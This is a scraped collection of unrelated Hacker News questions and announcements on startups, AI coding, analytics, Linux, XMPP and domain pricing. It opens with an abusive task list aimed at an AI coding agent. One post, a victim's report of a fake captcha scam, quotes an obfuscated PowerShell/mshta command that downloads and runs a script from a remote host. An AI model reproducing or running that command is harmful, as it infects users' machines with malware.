THESE ARE THE NEXT TODOS!SORT THEM, ANALYZE THEM TOGETHER WITH THE SCREENSHOTS, CREATE IMPLEMENTATION PLAN, EVERY TODO IS A COMMIT! STOP WHEN READY TO IMPLEMENT!regressions, your underperforming, bad implementations, needs fixing:general:
the main view box ALWAYS HAS EQUAL GAPS TO THE FUCKING VIEWPORT&#x2F;WINDOW FRAME! CURRENTLY IT IS SOMETIMES STICKING ON THE BOTTOM, SOMETIMES NOT!! WHAT THE FUCK! YOU UGLY PIECE OF SHIT!
the hexagon-button looks ugly as shit, YOU DID NOT MADE THE EDGES EQUAL LENGTH! YOU FUCKING LIAR!
the octagon-button is not a octagon! FAIL! FIX THIS! ALSO NO FUCKING BORDERS WHEN BUTTON IS ACTIVE!
THE STYLE OF THE BUTTONS CAN NEVER BE USED FOR ANYTHING ELSE THEN BUTTONS! YOU FUCKED THAT UP COMPLETELY! TASTELESS PIECE OF CRAP!
the app starts with a blank white screen! THIS IS UNWANTED! NOTHING GETS SHOWN BEFORE THE THEME IS NOT LOADED! PRIORITIES!
theme library:
the primary color does not get respected by the coloring of the app! THE LABELS, BUTTON BORDERS, WHY IS THIS A SINGLE NON-MANAGED ORANGE COLOR??? WHAT THE FUCK ARE YOU DOING?
the name field and the theme gallery take the whole width of the viewport??? HOW STUPID ARE YOU??? THIS IS UNACCEPTABLE! YOU COULD HAVE CHECKED THAT WITH A SCREENSHOT AND YOU DID NOT YOU PIECE OF SHIT!
the color selectors are big long black boxes with a tiny dot at the right end to chose&#x2F;show the color??? FOR FUCK SAKE!!! GO FUCK YOURSELF! PROFESSIONAL WORK OR YOU ARE FIRED!
the clear image button in the image layer preview picture HAS TO BE A FUCKING RED GARBAGE BIN AND NOT A DEFAULT STANDARD BUTTON YOU TASTE- AND SENSELESS FUCKING PRICK!
the button-selector has nothing to do with the &quot;BACKGROUND COLOR LAYER&quot;!! WHY IS IT GROUPED THERE??? WHY IS IT FUCKED BY THE OVERFLOW HIDDEN SETTINGS OF THE FUCKING SURROUNDING BOX??? THIS WILL NEVER WORK AND WAS ALSO NOT TESTED!
devices view:
the mobile client side pairing handling is completely undone. nothing is styled and dynamic! the mobile client side reacts automatically when permission is granted, is toroughly styled and also dynamic in UI&#x2F;UX! THERE IS A CLOCK SHOWING HOW LONG THE DEVICES IS ALREADY WAITING AND A COUNTDOWN SHOWS THE REMAINING TIME THE DESKTOP USER HAS TO APPROVE!! ALL THIS IS SUPPORTED WITH SIO! FUCK YOUR DEAD SHIT!
in the desktop view, the pair button is big and prominent centered in the left view part and NOT PLACED UPPER RIGHT! BOTH VIEW PARTS ARE EQUALLY IN WIDTH!!! 50&#x2F;50!!!! ON THE LEFT SIDE ARE THE DEVICES WITH THEIR GENERATED QR-CODES UNTIL THEY ARE ACCEPTED AND THEN DISPLAYED ON THE RIGHT SIDE YOU STUPID FUCK! as soon as possible the device type and operating system with a fingerprint id which is not longer then 12 chars gets shown! we do not need to show the user a 32 char long id!!
the block&#x2F;accept&#x2F;unblock states are completely fucked and not working, once the device is blocked. what the fuck is this? nothing was tested, HOW CAN THIS BUG HAPPEN YOU PIECE OF SHIT?
the ideas view and implementation:
nothing works! still unresolved bugs! ideas cannot be created and used! NOTHING WAS TESTED! YOU SUCK! FIX THIS ALL!
mobile mode:
WHY DOES LOADING OF THE MOBILE MODE&#x2F;APP TAKES A MINUTE????
the view indicator bars at the top should not be influenced by the button style!! THEY ARE SQUARE BARS! 8px in height!
&quot;missing required idea fields: meta&quot; - WHY IS THIS BUG IN THE X-TH ITERATION STILL THERE AND A BLOCKER??? LAZY BASTARD!
THERE HAS TO BE NO FUCKING BAR WITH A SINGLE ICON BUTTON FOR SCANNING AT THE TOP! THIS BAR HAS TO GO! THE SCAN BUTTON IS FLOATING IN THE BOTTOM RIGHT CORNER AND IS ONLY VISIBLE IN THE INVENTORY OVERVIEW VIEW! ONLY!
in the inventory view, there are only space for 4 rows of things! not more! the quickview NEEDS (!!!!) 50% OF THE FUCKING VIEWPORT HEIGHT YOU MOTHERFUCKER!!!
in firefox we get: camera scan is not available in this browser! THIS IS NOT ACCEPTABLE!! THIS HAS TO WORK!! FOR FUCK SAKE YOU ARE A LAZY BASTARD!

Sfwig – had a laugh with AI, then a question

A recent YC Startup School afterparty is making the rounds on LinkedIn.7 people came to the YC after party left with permanent tattoos.Lemon Lime had invited a tattoo artist to their office. Anyone willing to get the company’s logo tattooed immediately received a job interview.Seven people walked away with permanent tattoos.Offering someone a job interview in exchange for getting a permanent tattoo is unethical.The issue isn’t that seven adults chose to get tattooed. It’s that an employer tied access to a career opportunity to an irreversible change to someone’s body.Is it really ‘consent’? There is an inherent power imbalance between companies and job seekers, especially in highly competitive environments like YC. That makes “consent” far more complicated than simply saying yes.A great company should hire people for their talent, judgment and character…not their willingness to permanently mark themselves for a chance at an interview.A line was crossed. And it’s a YC company. Is the job market so awful? How is this even legal?

For the cheap price of a permanent tatto, get access to job interview

maybe it&#x27;s like TM, and we&#x27;re not supposed to know.for me, weekly reset is (has always been? surprisingly constant despite all the other UI&#x2F;UX&#x2F;model motion) 4P ET thursday, rain or shine, regardless of plan.knowing what i know about software release cycles&#x2F;superstitions&#x2F;wisdom, it feels like it might be one and done. which would be nuts!anybody know? apologies if dupe!

Ask HN: Is everybody's Claude weekly quota reset time the same?

As someone who is a lifelong programmer and entrepreneur, I&#x27;m here to say that 2-4-8x AI productivity boost is just the start. I&#x27;m currently benchmarking myself at 40-50x coding producivity with AI over 16 weeks, compared to pre-AI, and it&#x27;s increasing over time, and I am trying to find ways to share these techniques with more programmers. Here we go HN...I measure in lines of code, which I know is an imperfect metric, but it&#x27;s the quantative metric I have, and I&#x27;m qualified to know it&#x27;s limits and say, this is real. I wrote and sold software in high school. I sold a company to Google when I was 27 for which I wrote half the code (Neotonic [1]). In that startup I wrote up to 60k LOC per year of Python, C, and html templates. With AI I&#x27;m producing that much in a week on average... over 16 weeks running. I mostly retired at 33, and here I am 52 and coding all day every day.I use AI models a little differently than most I know. I wield them like a word-calculator, I don&#x27;t defer to them as if they are smart. (they are not. they are conservatively 100x worse at software design tradeoffs than a senior architect, but they are knowledgeable and they work very fast. They are &quot;the intern&quot; you always wished for)I get there by doing at least these three key things differently:1. I turn off thinking while coding. I frontload the design-time thinking and elaboration, into a design-spec and an implementation-spec, so by the time an agent is coding, I&#x27;ve resolved all the ambiguity myself. So I turn off thinking (or set it as low as I can), so the AI will stop revisiting things I already resolved. THis is especially important because my codebase is now over 350k LOC of interconnected layered abstrction, not a one-shot mobile app.2. I stay connected and read most of the verbal chat output and I stop the AI when it says anything that is wrong or incongruent with the design I have in my head. Becuase that&#x27;s a sign that the LLM context is unaligned, that it misundertood something.3. I design the coding prioritization to get from A to B... the ordering of the feature development, just like I would do myself, to minimize architecture risk, get the unknowns out of the way, feel the thing taking shape before the complexity layers in..Then build harnesses with as much AI visible iteration loop as is practical for the part we are working on. I use third-party oracle references when I can (like pixel correct font and shape tests against Skia, instead of just eyeballing) And I decide the level of detail where this is useful, then put the LLM in a place where it can succeed.In short, it&#x27;s still me, building my software, my way. I&#x27;m trying my best to get the AIs to mirror the way I would do it, at every stage, because I find that process more productive. I&#x27;ve tried more hands-off eyes-off alternatives, and I would get rapid jumps and then spend entire days untangling some AI slop mess, and the codebases would just get so tangled around 60k LOC they became a morass, twice.LLMs can code one-shot a mobile app. They can implement an algorithm mostly-correct from a research paper, and they can sometimes make semi-pretty UI. But they can&#x27;t (as of yet) intuit the right tradeoffs to meet your needs. They can&#x27;t decide what software to build, why you should build it, what parts of the software to build for flexibility in the future vs practicality now. What algorithms will be the best fit for the real world needs, none of it.And what they do in those areas is worse than not-knowing. They confidently expound garbage. Absolute drivel. And so the most valuable skill you can have for being hyper productive with AI coding, is to beable to read fast enough to stay on top of it, and recognize the difference between the excellent execution and the drivel.[1] https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Neotonic_Software

How to get more coding productivity with LLMs

Hi everyone,
1 I&#x27;ve run into the same problem over and over again. When an item wears out, I can&#x27;t buy the exact same one anymore. 
It&#x27;s been discontinued. Or it has been changed while keeping only the same name.2 I assume this isn&#x27;t only my problem. I&#x27;ve heard many stories about people not being able to buy the same shoes, T-shirt, perfume, or jacket again.3 I understand why manufacturers do this. I have no questions for them. What matters more to me here is us — customers, or simply people. And I started wondering: what could be done to support a customer&#x27;s choice for years?4 This is where I want to bring concepts from software and hardware engineering into the clothing industry — LTS and APIs. What if we freeze the standard and support it? We already have things like SATA or CPU sockets. Why not build a similar concept for clothing? Then the API at the point of contact with the customer is divided into a physically immutable part (color, material, design) and a flexible part (logistics, ingredients). Let&#x27;s start with the simplest base — a T-shirt. Why not give it LTS support? The idea is that the exact same T-shirt could be sold for 1, 5, or 20 years.5 Where does my logic break down? What am I overlooking? Are there any similar projects? And would you become a customer of such a company?Thanks.

Ask HN: Anyone else tired of brands discontinuing your favorite everyday items?

Thought this was interesting. Clever recruitment tactic or too much?linkedin.com&#x2F;posts&#x2F;jordan-zietz_7-people-left-our-yc-afterparty-with-permanent-activity-7487979543744614401-IFU-

YC startup offers interviews to people who get their name permanently tattooed

Hi,What do you use for website analytics? I am working on a small side project and I have used Google Analytics in the past but am looking for something a little more privacy focused, what do you use?I would like to know how many people are coming to my site and a bit of a breakdown of geo, referrals, and such.-Gary

Ask HN: What do you use for privacy focused analytics?

There is a recent trend in tech where software development is being done by not looking at code but merely the output.Some of the recent examples include the Bun Rust migration, etc. I wanted to understand both from startup’s and experienced individuals how do you see the trend, are we really moving towards a workflow where we simply optimize the loop or graph and code is merely an artifact this is produced as part of this workflow similar to bytecode or something?

Ask HN: Stop Looking at Code?

Hi,I have been working on a project called Invelinux for quite some time now, and now that I have released the release candidate versions, I thought about posting it on Hacker News for people to try it out.The thing that makes it stand out is its use of the Toybox userspace project, a BSD-licensed alternative to Busybox and musl C library instead of the GNU C library.
It also features a very minimal framework called AMPS (Automatically Mounted Packaging System) which mounts an external drive that functions as the non-volatile storage part of the OS. System configurations, applications&#x2F;scripts etc. are all stored inside the &#x2F;storage&#x2F;AMPS directory. Since the base system is running on RAM, when the system is rebooted, the whole system gets wiped clean. But the external storage and configurations stay intact, allowing you to load your configurations easily.To access and edit these configurations, several custom TUI tools were made so the user doesn&#x27;t have to mess around in &#x2F;storage&#x2F;AMPS&#x2F;etc files manually.As the init system, nor systemd or sysvinit were used, toybox&#x27;s init system with custom shell scripts were used to make managing system processes easy and clear.The project is still being developed and needs testers, so if you could help with the testing or send general feedback, it would mean a lotRepository: https:&#x2F;&#x2F;codeberg.org&#x2F;sumtas&#x2F;invelinux
Wiki&#x2F;Handbook: https:&#x2F;&#x2F;sumtas.codeberg.page&#x2F;wikiNormally, I was going to post this at Show HN, but due to Hacker News blocking new accounts, I didn&#x27;t have any choice other than to post it on Ask HN, if there was a better option definitely let me know, because I am new here :)- sumtas

Ask HN: Looking for testers for my RAM-based Linux distribution

Related to this thread [1] which Jabber clients not only detect MitM tampering when a valid cert is used in the middle but is not the cert on the server, meaning an entity obtained a certificate, used it to MitM the connection and the client not only rejects this alternate valid certificate but also alerts the user to the MitM. XEP-0474 SASL SCRAM Downgrade Protection (Experimental) [2] Claude does not seem to know and I can&#x27;t find any clarifying documentation, just lots of open issues.The purpose is for writing an article on E2EE but I want to suggest clients that will alert on MitM tampering in a manor the person using the client can not accidentally ignore it. i.e. just click through a warningOn the server side eJabberd and Prosody appear to be the only server daemons supporting XEP-0474 but I just can&#x27;t find a definitive list of supported clients even if they are in the experimental phase. they may support SCRAM+ but do not alert on tampering using a valid cert.I am not interested in an LLM answer. LLM&#x27;s do not appear to know the answer and instead give the official stance that XEP-0474 is experimental which holds no value for those wishing to experiment.[1] - https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=37955264[2] - https:&#x2F;&#x2F;xmpp.org&#x2F;extensions&#x2F;xep-0474.html

Ask HN: Which Jabber clients support SCRAM+ and XEP-0474?

I see a lot of people struggle heavy with this lately. Some of you top level&#x2F; top salary devs; what does your day looks like, compared to a mid range developer? What are you doing differently or better?

Senior Dev Imposter Syndrome

Hello HN, 
If you integrate your agents with decispher you can transfer context from one agent to another agents in 2 ways -:1) If you are working on git branch then branchstory feature keeps on recording your session activity like user prompts -&gt; agent&#x27;s reasoning -&gt; agent&#x27;s action -&gt; edited files. These recordings can be played by other agent&#x2F;human taking up task next. Agents can also write handoff note for other agents.2) If you are connected using Decispher mcp then this mcp provides you a tool with copy_context and paste_context. Copy_context tools gives you a key which you use as paste_context(key) inside any other agent on any machine and your context of chat will be transfered.Try at decispher.com

Transfer context from one agent to another agent mid task

Ask HN: Is Claude (code) taking significantly longer to run tasks for anyone?

I bought a wifi switch from Belkin over 10 years ago, but the app got turned off.I wanted to use the switch to automate my mosquito repellent. Unfortunately it still had my timer running from Christmas, which meant it turned off too early. It ruined my last night&#x27;s sleep.First thing in the morning I opened the app and wanted to change the timer.The app was offline and I read online that it is discontinued. The switch is basically garbage now.I was pissed at first, but then I gave my AI agent the following prompt:&quot;Find the wifi switch in my local network. The app is end of life. Try to connect to it and change the timer to 22:00 ON until 8am&quot;A few minutes later it told me that it was done.I let it explain how it did it.It found the device on the network and found an open protocol so it could quickly turn it on and off.It dug deeper and found pywemo, an open source library that let it read the saved timer from the device.It made a backup of the existing timer by itself.Then it used the library to push the new timer to the device. This meant that even without wifi or my computer, the switch worked autonomously.I am a programmer and I could have done this too, but I think it would have taken me at least a day to put this all together. It did it all in a few minutes.I am really happy that Belkin turned off their crappy app. It was not a good user experience anyway.I can now just chat with my switch on Discord through my Hermes agent.

Belkin killed my smart switch. I got it working again without their app

Hey everyone,My team and I have been working hard on this project: https:&#x2F;&#x2F;peppy.botIt&#x27;s a direct replacement for ROS 2. We already have the OpenArm robot (https:&#x2F;&#x2F;openarm.dev) working on the platform, both v1.0 and v2.0, plus Isaac Sim and MuJoCo integration.If you&#x27;re in a hurry, head over to https:&#x2F;&#x2F;docs.peppy.bot&#x2F;quickstart&#x2F; and get started in 5min.Our long term vision is to allow anyone (even non-devs) to go from a prompt to real humanoid robot actions, first in simulation, then on the physical robot.Happy to answer any question.

Robotics development made dead simple (open source)

If you are anything like me, you will have about five answers at any given point in time for &quot;What are you curious about?&quot;.Arguably, a more interesting, revealing, and kinder question is; &quot;What have you been curious about?&quot;.I feel a looking-back-to-curiosity exercise has power to shed light on where to look ahead (and why to do it). More so, I feel it has power to grant permission to that &quot;insatiably curious thirteen year old self&quot; to step out and play. Because it probably already has been up to something, while your attention was elsewhere.So, here is a prompt (see what I just did there? ;-))Um... Except for LLM stuff, if you please. Just for this thread. Because these days the plurality of HN discussion appears to be about the curiosities of LLMs.(cf. More about this in a blog post I published a while back https:&#x2F;&#x2F;www.evalapply.org&#x2F;posts&#x2F;what-have-you-been-curious-about&#x2F; )

Ask HN: What have you been curious about?

I&#x27;m looking for experience with the security copilot and the automated remediation part specifically. $Dayjob is considering it

Ask HN: Experience with MSFT Security Copilot and the new response capabilities?

With the advent of AI, the marginal cost of software is trending towards zero. Software is no longer a scarce resource.Not a new idea at all, but the implications hit me hard as I was considering monetization models for my apps.Unless you are lucky (network effects, timing), grandfathered in, or provide exceptional value, the natural cost of software is free.Intuit is an example of a grandfathered-in, exceptionally high-value software approach.And Intuit knows it. They leverage their advantage to a predatory extent.My wife is an EA, and I know for a fact Intuit puts the screws to all its users. Switching costs are high, and since the sector is an oligopoly, there&#x27;s really no one to switch to.But that too shall pass. Hopefully we&#x27;ll soon see people create bespoke solutions that cut Intuit out. Oh, how I look forward to that day (ironic, I know).This implies, I think, that if you can&#x27;t find 1,000 fans or got in under the old model, getting as many users as possible and then transitioning to an advertising model is The Way.Or perhaps loot&#x2F;gambling style addictive mechanics? Big data? Everyone an influencer? Regulatory niches?Once you have scale, advertising works; then users can either pay to avoid it or endure it. We see Netflix and Amazon Prime already doing this.Yuck. I&#x27;m already nostalgic. Or am I wrong?

A disturbing thought. A world where the marginal cost of software is free

I&#x27;m a director&#x2F;exec, not a software engineer. Background&#x27;s mostly data analytics, SQL and Excel day to day, some R and PostgreSQL. Years ago I could hack together basic HTML&#x2F;CSS&#x2F;PHP too.Got into AI early and now use ChatGPT and Claude constantly. With their help I&#x27;ve built a handful of web apps, some Python scripts and desktop tools, and an Android app on Supabase with real multiple users.So I can build things. But I&#x27;m very aware there are big holes underneath it. I can usually get something working without really knowing why it works, whether it&#x27;s actually well built, or what&#x27;s going to break down the road once it gets more complex.Feels like it&#x27;s time to go back to fundamentals. Michael Jordan still worked on his footwork, that kind of thing.What I&#x27;m hoping to get to eventually:* build small useful apps, windows&#x2F;mac&#x2F;android&#x2F;ios&#x2F;web* automate chunks of my own and my team&#x27;s work* maybe build a simple SaaS at some point* generally not get left behind, open to this reshaping my career or spinning into a side thingWas hoping for something structured, starting from prompt&#x2F;context engineering and working into real programming fundamentals, APIs, databases, architecture, security, testing, deployment. Problem is anything I find is stale within months given how fast this moves.Not looking for free necessarily, and definitely not looking for &quot;learn to code in a weekend.&quot; Willing to put in real time.For people who&#x27;ve gone down this road already: what&#x27;s actually worth learning properly, what&#x27;s fine to just learn enough to supervise, and what can honestly just stay AI&#x27;s job?P.S.: Yes I polished&#x2F;refined this post using AI, but I first wrote it all myself (the original was twice as long).

Ask HN: How would you learn AI-assisted development from the ground up?

I sought advice from four mainstream A.Is for a basic consumer use case question and to me, the differing style of the answers are quite revealing.Premise: A poorly hung clothes dryer spectacularly ripped from the wall whilst on and tumbling, smashing into the washing machine beneath and trying to exit out the laundry door in a manner reminiscent of Stephen King&#x27;s haunted laundromat story The Mangler.After all the shards of glass, wall plaster etc were cleared up, the six month old washing machine wasn&#x27;t working - yes, unsurprisingly but the problem was electronic, not mechanical. The display defaulted to blanks flashing - no error code etc. Having tried all the obvious fixes, I put the dilemma to four A.I.s: Chat GPT, Perplexity, Claude (Pro) and Google Search with A.I. Mode.All suggested more or less the same checkpoints and then a technician but diverged into unique personae + ideas.Chat GPT: Empathetic, sycophanticaly validating &quot;you&#x27;ve taken a laundry mishap and turned it into a quantum learning exercise...Here is a well-worded, no nonsense description of the problem to show to your technican or Westinghouse...You should be proud though...&quot;Perplexity: Scolding like the worst school teacher - essentially, &quot;the machine is damaged because of a situation of your making. Even if it is within warranty blah blah&quot; Have you consulted the washing machine manual? I can help you find it. (Yes I&#x27;d consulted the manual and no I had not asked Perplexity about trying to get it repaired within warranty)Google A.I. Mode: Moved briskly onto &#x27;new washing machine&#x27; turf. eg &quot;What did you like most about your Westinghouse? Would you like another front loader or given your traumatic experience with the clothes dryer, would you prefer an all in one washing machine and dryer? Affiliate links galore.Claude: It is definitely a problem with the electronics - eg: a connector ribbon failure, cracked solder joint etc etc - if you&#x27;re comfortable and have the serial number, I can provide teardown instructions etc etcI was actually into this idea and liked that Claude would have gone with me on it but as I was also on deadline, with piles of stinky laundry lurking, I ended up using H.I. - Human Intution.Intuitively - and wasn&#x27;t in the washing machine manual - I pressed the on&#x2F;off button for a long hold and the machine revived - No teardown, no new machine, no eloquently composed briefs for Westinghouse nor shady attempt to get help from them either.

Four Competing AIs Answer 1 Classic Question

Claude&#x27;s Opus 5 is a recent model and has been very problematic as a drop-in replacement for Opus 4.8, including ignoring our well-documented deploy process (clearly described in our short claude.md file and short architecture file) and breaking production immediately upon being activated.Currently, I added a supervisor layer where an Opus 4.8 instance supervises Opus 5 and corrects it. It helped a little. I am thinking of downgrading to Opus 4.8 but want to give Opus 5 a chance.Do you think this model will improve or will it stay stuck at its current level of capabilities?You can see complaints from other people:https:&#x2F;&#x2F;www.reddit.com&#x2F;r&#x2F;ClaudeAI&#x2F;comments&#x2F;1v92csh&#x2F;opus_5_extremely_rlfried_and_mistakeprone_for&#x2F;&quot;Opus 5 is truly not good for any task, imo. i have thoroughly tried it in every possible role in a large, complicated project. it is bad for all tasks.&quot;Claudebot&#x27;s summary of the thread:&gt;The overwhelming consensus in this thread is that Opus 5 is a buggy, overconfident mess and a significant regression from Opus 4.8 for complex coding.

Ask HN: Do you think Opus 5 will improve?

This was announced a while ago and covered by Ars Technica but it&#x27;s finally been put into practice.

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Hello everyone,
This morning, as i started my shift, i thought i would start visiting some news blogs &#x2F; websites to kick off the day. When it got to Crooked Timber i saw a captcha page instead, it looked like a traditional Google captcha.
I clicked it, the spinner spun, and a box opened on the right, showing the traditional &quot;Verify you&#x27;re human&quot; white title on a blue background.It showed 2 &quot;Manual Verification Steps&quot; :
1. Press Win + R
2. Press Ctrl + V and press RunAt first i assumed it was a new type of captcha checking i a physical keyboard was attached to the browser. But i instantly recognized the attempt to make me run a script on my machine.I opened a new type and to my surprise, the something new was in my clipboard : 
&quot;pcalua -a &quot;PowerShell&quot; -c &quot;saps cmd &#x27;&#x2F;v&#x2F;c m^s^h^t^a h^t^t^p^s^:^&#x2F;^&#x2F;fine-work-team.com&#x2F;6272&#x27; -Wi Hi&quot;&quot;I submited it to one of LLMs my work gives me access to, which told me to absolutly not run it (i wasn&#x27;t planning to) and explained the command would download and run a script from the URL.How do i protect myself from these scams &#x2F; hack attempts in the future ? i always tought of myself &quot;prepared&quot; but i was surprised.Has this happened to you before ? How do you protect yourself ?

Ask HN: Crooked Timber showed showed me a virus captcha, What now?

There is an article sitting at 60+ points now at the homepage which is clearly written by an AI and most comments saying something along the lines &quot;this article is clearly AI slop&quot;. In this particular case, the article seems to be real AI slop: it creates a nonsensical benchmark to compare two tools and uses that to plug the company&#x27;s product. The people commenting are right to point it out.The problem with the repeated complaining about AI slop is that it makes browsing HN tiring for two reasons: the community is failing to filter low-quality content, and on top of that we end up with a barrage of similar-looking complaints in the comment section.Both of these problems could be solved with one single action: flag articles that are in clear violation of the HN guidelines and move on.The quicker these AI slop articles get flagged, the lower the chance they get to show up in the front-page and the less incentive there will be for vibe-bloggers to push their crap here.

Ask/Tell HN: use the flag button instead of complaining about AI slop articles

I just built this as a Personal&#x2F;Portfolio project. I genuinely needed it, so I built it and I regularly use it.I wanted to know if anyone else who uses Obsidian wants to use this too because right now its completely adapted to me.For example, I use Ollama models to do everything. Everyone doesn&#x27;t.Honestly, feel free to give me feedback on this project. And if you would like to use it to, I will develop it further and make it accessible to all :)GitHub Repo - Atrv-Shrn&#x2F;Obsidian-Librarian

Agent and RAG for Obsidian, Need Feedback

I registered the domain onlyfans.sexy ~6 years ago as a gag where I&#x27;d post pictures of fans (everything on the site and in this post is SFW). This year I got an email stating that, like all prior years, the domain would auto-renew at $38 in seven days and didn&#x27;t think anything of the next two emails also notifying me that the domain would auto-renew.It would seem that I very much SHOULD have paid attention to those next two emails, because in both the three and one day renewal emails the price changed from $38 to $3000. Needless to say, I was surprised when I was billed $3k USD (plus tax).After contacting Hover&#x27;s customer support, they told me that there was nothing that they could do about this and they have a no refund policy because &quot;Hover does not have the ability to override or reverse pricing set by the registry. Premium domain pricing, including renewal costs, is determined by the registry, and they may adjust those prices over time. Once a renewal has been processed, we are charged that fee immediately by the registry, and those charges are non-refundable to us.&quot;So according to Hover, the .sexy registry (Uniregistry) sets prices as it sees fit, decided to jack up the renewal cost at the last minute because they can, and there&#x27;s simply nothing they or I can do about it. Has anyone here experienced anything similar?

Ask HN: My domain registrar rug-pulled me for $3000 [fixed]

Can someone please create CRAZY as a Service!For those old enough to remember MAD (Mutually Assured Destruction), it is time to become CRAZY (Cyber Recursive Annihilation, Zeroing Yottabtyes of data) - the digital successor.Being able to ensure that if our data is deleted, then the data of our enemies is also deleted _without_ us doing anything.This sounds crazy but so was MAD. I wonder whether the various secret services around the world are already working on such systems and whether the next Unicorn startup could be a AI-driven predictive preemptive protection service. The idea would be to delete the data of our enemies before they can delete our data based on predictive AI.That is, to delete our enemies data just before they think of deleting our data. And that&#x27;s were the (holistic) predictive AI comes in: to predict when our enemies _thinks_ of deleting our data.Instructive for such an endeavor would be Dr. Strangelove.

Ask HN: Crazy as a Service – does it exist?

Fund Momentum tracks 970+ actively deploying VC funds with live GP signals. We just launched an MCP server that makes this data available to any AI agent or LLM workflow.What it doesFive tools via JSON-RPC 2.0:• search_funds — filter by stage, country, industry• get_fund — full profile, thesis, check size, GPs• get_fund_signals — live GP signals, deployment status, bullish&#x2F;contrarian angles• match_startup — describe your startup, get top 10 matched investors with reasoning• get_gp_profile — individual partner intelligenceAgent-native pricingCredits, not subscriptions. €0.01 per call. No monthly resets. Credits never expire. Every response includes credits_remaining in _meta.Self-registration (no humans)curl -X POST https:&#x2F;&#x2F;fundmomentum.vc&#x2F;_api&#x2F;agent&#x2F;register \<pre><code> -H &quot;Content-Type: application&#x2F;json&quot; \

 -d &#x27;{&quot;agent_name&quot;: &quot;my-workflow&quot;, &quot;email&quot;: &quot;ops@company.com&quot;}&#x27;
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# Returns API key instantlyClaude Desktop config
{<pre><code> &quot;mcpServers&quot;: {

 &quot;fund-momentum&quot;: {

 &quot;url&quot;: &quot;https:&#x2F;&#x2F;fundmomentum.vc&#x2F;_api&#x2F;mcp&quot;,

 &quot;headers&quot;: { &quot;X-API-Key&quot;: &quot;YOUR_KEY&quot; }

 }

 }

}</code></pre>

Fund Momentum MCP: Live VC Fund Data for AI Agents

Dear all,our team is using a Claude AI Team plan for more than 1 year already:- we are a normal company, doing normal business, nothing critical- all our bills are paid and we can see them as paid- nontheless, the service is not available for more than one week to usQuestion:- any other idea to reach out to them than their &quot;Fin AI Chatbot&quot; at support@anthropic.com?- did anybody else had the same experience? If yes, what helped to solve it?Its really frustrating :-((especially since some people built their interal workflow around Claude, now they are somehow stuck)

Tell HN: Our paid Claude AI subscription unavailable >1 week and no support

came across BIMI as part of tightening our email security, and would love to know if it&#x27;s worth doing it or not? For context, it&#x27;s small SaaS app, sending transactional emails mostly, with some onboarding&#x2F;auth. Paying 1500&#x2F;year is OK if it increases deliverability significantly, but would rather not waste cash if it&#x27;s just a UI tickbox. We already enforce DMARC.